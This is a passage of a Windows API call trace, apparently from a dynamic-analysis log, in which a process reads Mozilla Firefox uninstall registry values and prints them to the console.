(_File=0x7fefd702ab0) returned 1 [0149.111] _errno () returned 0x204bb0 [0149.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.111] _errno () returned 0x204bb0 [0149.111] GetFileType (hFile=0x50) returned 0x1 [0149.111] lstrlenW (lpString="REG_SZ") returned 6 [0149.111] GetConsoleOutputCP () returned 0x1b5 [0149.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.111] GetConsoleOutputCP () returned 0x1b5 [0149.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.112] __iob_func () returned 0x7fefd702a80 [0149.112] _fileno (_File=0x7fefd702ab0) returned 1 [0149.112] _errno () returned 0x204bb0 [0149.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.112] _errno () returned 0x204bb0 [0149.112] GetFileType (hFile=0x50) returned 0x1 [0149.112] lstrlenW (lpString=" ") returned 4 [0149.112] GetConsoleOutputCP () returned 0x1b5 [0149.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.112] GetConsoleOutputCP () returned 0x1b5 [0149.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.113] __iob_func () returned 0x7fefd702a80 [0149.113] _fileno (_File=0x7fefd702ab0) returned 1 [0149.113] _errno () returned 0x204bb0 [0149.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.113] _errno () returned 0x204bb0 [0149.113] GetFileType (hFile=0x50) returned 0x1 [0149.113] lstrlenW (lpString="Mozilla") returned 7 [0149.113] GetConsoleOutputCP () returned 0x1b5 [0149.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.113] GetConsoleOutputCP () returned 0x1b5 [0149.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla", lpUsedDefaultChar=0x0) returned 7 [0149.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.113] __iob_func () returned 0x7fefd702a80 [0149.113] _fileno (_File=0x7fefd702ab0) returned 1 [0149.113] _errno () returned 0x204bb0 [0149.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.113] _errno () returned 0x204bb0 [0149.113] GetFileType (hFile=0x50) returned 0x1 [0149.113] lstrlenW (lpString="\n") returned 1 [0149.113] GetConsoleOutputCP () returned 0x1b5 [0149.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.114] GetConsoleOutputCP () returned 0x1b5 [0149.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.114] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.114] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.114] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3db830 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.114] GetProcessHeap () returned 0x3c0000 [0149.114] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0149.114] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"", pcbData=0x29f780*=0x7c) returned 0x0 [0149.114] __iob_func () returned 0x7fefd702a80 [0149.114] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.114] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.114] _fileno (_File=0x7fefd702ab0) returned 1 [0149.114] _errno () returned 0x204bb0 [0149.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.114] _errno () returned 0x204bb0 [0149.114] GetFileType (hFile=0x50) returned 0x1 [0149.115] lstrlenW (lpString=" ") returned 4 [0149.115] GetConsoleOutputCP () returned 0x1b5 [0149.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.115] GetConsoleOutputCP () returned 0x1b5 [0149.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.115] lstrlenW (lpString="UninstallString") returned 15 [0149.115] __iob_func () returned 0x7fefd702a80 [0149.115] _fileno (_File=0x7fefd702ab0) returned 1 [0149.115] _errno () returned 0x204bb0 [0149.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.115] _errno () returned 0x204bb0 [0149.115] GetFileType (hFile=0x50) returned 0x1 [0149.115] lstrlenW (lpString="UninstallString") returned 15 [0149.115] GetConsoleOutputCP () returned 0x1b5 [0149.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.115] GetConsoleOutputCP () returned 0x1b5 [0149.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.116] __iob_func () returned 0x7fefd702a80 [0149.116] _fileno (_File=0x7fefd702ab0) returned 1 [0149.116] _errno () returned 0x204bb0 [0149.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.116] _errno () returned 0x204bb0 [0149.116] GetFileType (hFile=0x50) returned 0x1 [0149.116] lstrlenW (lpString=" ") returned 4 [0149.116] GetConsoleOutputCP () returned 0x1b5 [0149.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.116] GetConsoleOutputCP () returned 0x1b5 [0149.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.116] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.116] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.116] __iob_func () returned 0x7fefd702a80 [0149.116] _fileno (_File=0x7fefd702ab0) returned 1 [0149.116] _errno () returned 0x204bb0 [0149.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.116] _errno () returned 0x204bb0 [0149.116] GetFileType (hFile=0x50) returned 0x1 [0149.116] lstrlenW (lpString="REG_SZ") returned 6 [0149.116] GetConsoleOutputCP () returned 0x1b5 [0149.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.116] GetConsoleOutputCP () returned 0x1b5 [0149.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.117] __iob_func () returned 0x7fefd702a80 [0149.117] _fileno (_File=0x7fefd702ab0) returned 1 [0149.117] _errno () returned 0x204bb0 [0149.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.117] _errno () returned 0x204bb0 [0149.117] GetFileType (hFile=0x50) returned 0x1 [0149.117] lstrlenW (lpString=" ") returned 4 [0149.117] GetConsoleOutputCP () returned 0x1b5 [0149.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.117] GetConsoleOutputCP () returned 0x1b5 [0149.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.117] __iob_func () returned 0x7fefd702a80 [0149.117] _fileno (_File=0x7fefd702ab0) returned 1 [0149.117] _errno () returned 0x204bb0 [0149.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.117] _errno () returned 0x204bb0 [0149.117] GetFileType (hFile=0x50) returned 0x1 [0149.117] lstrlenW (lpString="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"") returned 61 [0149.117] GetConsoleOutputCP () returned 0x1b5 [0149.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.118] GetConsoleOutputCP () returned 0x1b5 [0149.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"", lpUsedDefaultChar=0x0) returned 61 [0149.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0149.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.118] __iob_func () returned 0x7fefd702a80 [0149.118] _fileno (_File=0x7fefd702ab0) returned 1 [0149.118] _errno () returned 0x204bb0 [0149.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.118] _errno () returned 0x204bb0 [0149.118] GetFileType (hFile=0x50) returned 0x1 [0149.118] lstrlenW (lpString="\n") returned 1 [0149.118] GetConsoleOutputCP () returned 0x1b5 [0149.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.118] GetConsoleOutputCP () returned 0x1b5 [0149.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.118] GetProcessHeap () returned 0x3c0000 [0149.118] GetProcessHeap () returned 0x3c0000 [0149.118] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.118] GetProcessHeap () returned 0x3c0000 [0149.119] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0149.119] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.119] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.119] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x40) returned 0x0 [0149.119] GetProcessHeap () returned 0x3c0000 [0149.119] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x42) returned 0x3d9d00 [0149.119] GetProcessHeap () returned 0x3c0000 [0149.119] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.119] GetProcessHeap () returned 0x3c0000 [0149.119] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x42 [0149.119] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x40 | out: pdwType=0x29f700*=0x1, pvData="https://www.mozilla.org/en-US/", pcbData=0x29f780*=0x3e) returned 0x0 [0149.119] __iob_func () returned 0x7fefd702a80 [0149.119] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.119] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.119] _fileno (_File=0x7fefd702ab0) returned 1 [0149.119] _errno () returned 0x204bb0 [0149.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.119] _errno () returned 0x204bb0 [0149.119] GetFileType (hFile=0x50) returned 0x1 [0149.119] lstrlenW (lpString=" ") returned 4 [0149.119] GetConsoleOutputCP () returned 0x1b5 [0149.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.119] GetConsoleOutputCP () returned 0x1b5 [0149.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.119] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.120] __iob_func () returned 0x7fefd702a80 [0149.120] _fileno (_File=0x7fefd702ab0) returned 1 [0149.120] _errno () returned 0x204bb0 [0149.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.120] _errno () returned 0x204bb0 [0149.120] GetFileType (hFile=0x50) returned 0x1 [0149.120] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.120] GetConsoleOutputCP () returned 0x1b5 [0149.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.120] GetConsoleOutputCP () returned 0x1b5 [0149.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0149.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.120] __iob_func () returned 0x7fefd702a80 [0149.120] _fileno (_File=0x7fefd702ab0) returned 1 [0149.120] _errno () returned 0x204bb0 [0149.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.120] _errno () returned 0x204bb0 [0149.120] GetFileType (hFile=0x50) returned 0x1 [0149.120] lstrlenW (lpString=" ") returned 4 [0149.120] GetConsoleOutputCP () returned 0x1b5 [0149.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.120] GetConsoleOutputCP () returned 0x1b5 [0149.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.121] __iob_func () returned 0x7fefd702a80 [0149.121] _fileno (_File=0x7fefd702ab0) returned 1 [0149.121] _errno () returned 0x204bb0 [0149.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.121] _errno () returned 0x204bb0 [0149.121] GetFileType (hFile=0x50) returned 0x1 [0149.121] lstrlenW (lpString="REG_SZ") returned 6 [0149.121] GetConsoleOutputCP () returned 0x1b5 [0149.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.121] GetConsoleOutputCP () returned 0x1b5 [0149.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.121] __iob_func () returned 0x7fefd702a80 [0149.121] _fileno (_File=0x7fefd702ab0) returned 1 [0149.121] _errno () returned 0x204bb0 [0149.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.121] _errno () returned 0x204bb0 [0149.121] GetFileType (hFile=0x50) returned 0x1 [0149.121] lstrlenW (lpString=" ") returned 4 [0149.121] GetConsoleOutputCP () returned 0x1b5 [0149.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.122] GetConsoleOutputCP () returned 0x1b5 [0149.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.122] __iob_func () returned 0x7fefd702a80 [0149.122] _fileno (_File=0x7fefd702ab0) returned 1 [0149.122] _errno () returned 0x204bb0 [0149.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.122] _errno () returned 0x204bb0 [0149.122] GetFileType (hFile=0x50) returned 0x1 [0149.122] lstrlenW (lpString="https://www.mozilla.org/en-US/") returned 30 [0149.122] GetConsoleOutputCP () returned 0x1b5 [0149.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https://www.mozilla.org/en-US/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0149.122] GetConsoleOutputCP () returned 0x1b5 [0149.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https://www.mozilla.org/en-US/", cchWideChar=30, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="https://www.mozilla.org/en-US/", lpUsedDefaultChar=0x0) returned 30 [0149.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 30 [0149.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.122] __iob_func () returned 0x7fefd702a80 [0149.122] _fileno (_File=0x7fefd702ab0) returned 1 [0149.122] _errno () returned 0x204bb0 [0149.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.122] _errno () returned 0x204bb0 [0149.123] GetFileType (hFile=0x50) returned 0x1 [0149.123] lstrlenW (lpString="\n") returned 1 [0149.123] GetConsoleOutputCP () returned 0x1b5 [0149.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.123] GetConsoleOutputCP () returned 0x1b5 [0149.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x42 [0149.123] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0149.123] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.123] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.123] GetProcessHeap () returned 0x3c0000 [0149.123] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.123] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, 